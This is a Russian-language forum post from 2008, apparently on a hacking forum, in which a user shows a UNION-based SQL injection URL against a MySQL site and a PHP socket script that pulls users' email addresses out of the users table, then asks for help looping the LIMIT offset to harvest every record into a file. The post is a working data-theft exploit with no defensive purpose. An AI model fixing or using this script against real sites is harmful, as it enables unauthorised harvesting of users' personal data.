Показать сообщение отдельно

  #1440  
Старый 04.01.2008, 00:55
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
С нами: 9780227

Репутация: 1423
По умолчанию

Допустим на сайте имеется sql инъекция (MySQL база). Есть доступ к таблице users и поле email. Вывод осуществляем так

http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users

Выводится только 1 юзер из n-ого количества. Пользуемся лимитом для перебора, но в таблице до*я юзеров - нужно автоматизировать процесс. Я сделал такой скрипт

PHP код:
<?php

    $PORT 
80;
    
$ADDR gethostbyname("site.com");

    
$fp socket_create(AF_INET,SOCK_STREAM,SOL_TCP);

    
socket_connect($fp,$ADDR,$PORT);

    
$n 2;
    
$str1 "GET http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users+limit+";
    
$str2 ",1 HTTP/1.0\r\n Host: site.com\r\n\r\n";

    
$str $str1.$n.$str2;

    
socket_write($fp,$str,strlen($str));

    while(
$out socket_read($fp,2048))
    {
       
$s strstr($out,"<h1>");
       
$nm strpos($s,"</h1>");
       echo 
substr($s,4,$nm 4);    
        
    }

    
socket_close($fp);

    echo 
"<br>";
?>
Все отлично работает - скрипт выводит нам мейл (разумеется работает только с этим сайтом)
НО проблема - почему этот скрипт не работает в цикле ???? Тоесть я хочу, что бы переменная $n (значение лимита) менялась в цикле и каждую итерацию скрипт загружал новую страницу, извлекал оттуда мейл и что-то с ним делал (например записывал в файл). Например так

PHP код:
for($i=0;$i 10;$i++)
{

    
$str1 "GET http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users+limit+";
    
$str2 ",1 HTTP/1.0\r\n Host: site.com\r\n\r\n";

    
$str $str1.$i.$str2;

    
socket_write($fp,$str,strlen($str));

    while(
$out socket_read($fp,2048))
    {}

Но не работает. Подскажите плиз почему ?

Последний раз редактировалось ElteRUS; 04.01.2008 в 01:10..
 
Ответить с цитированием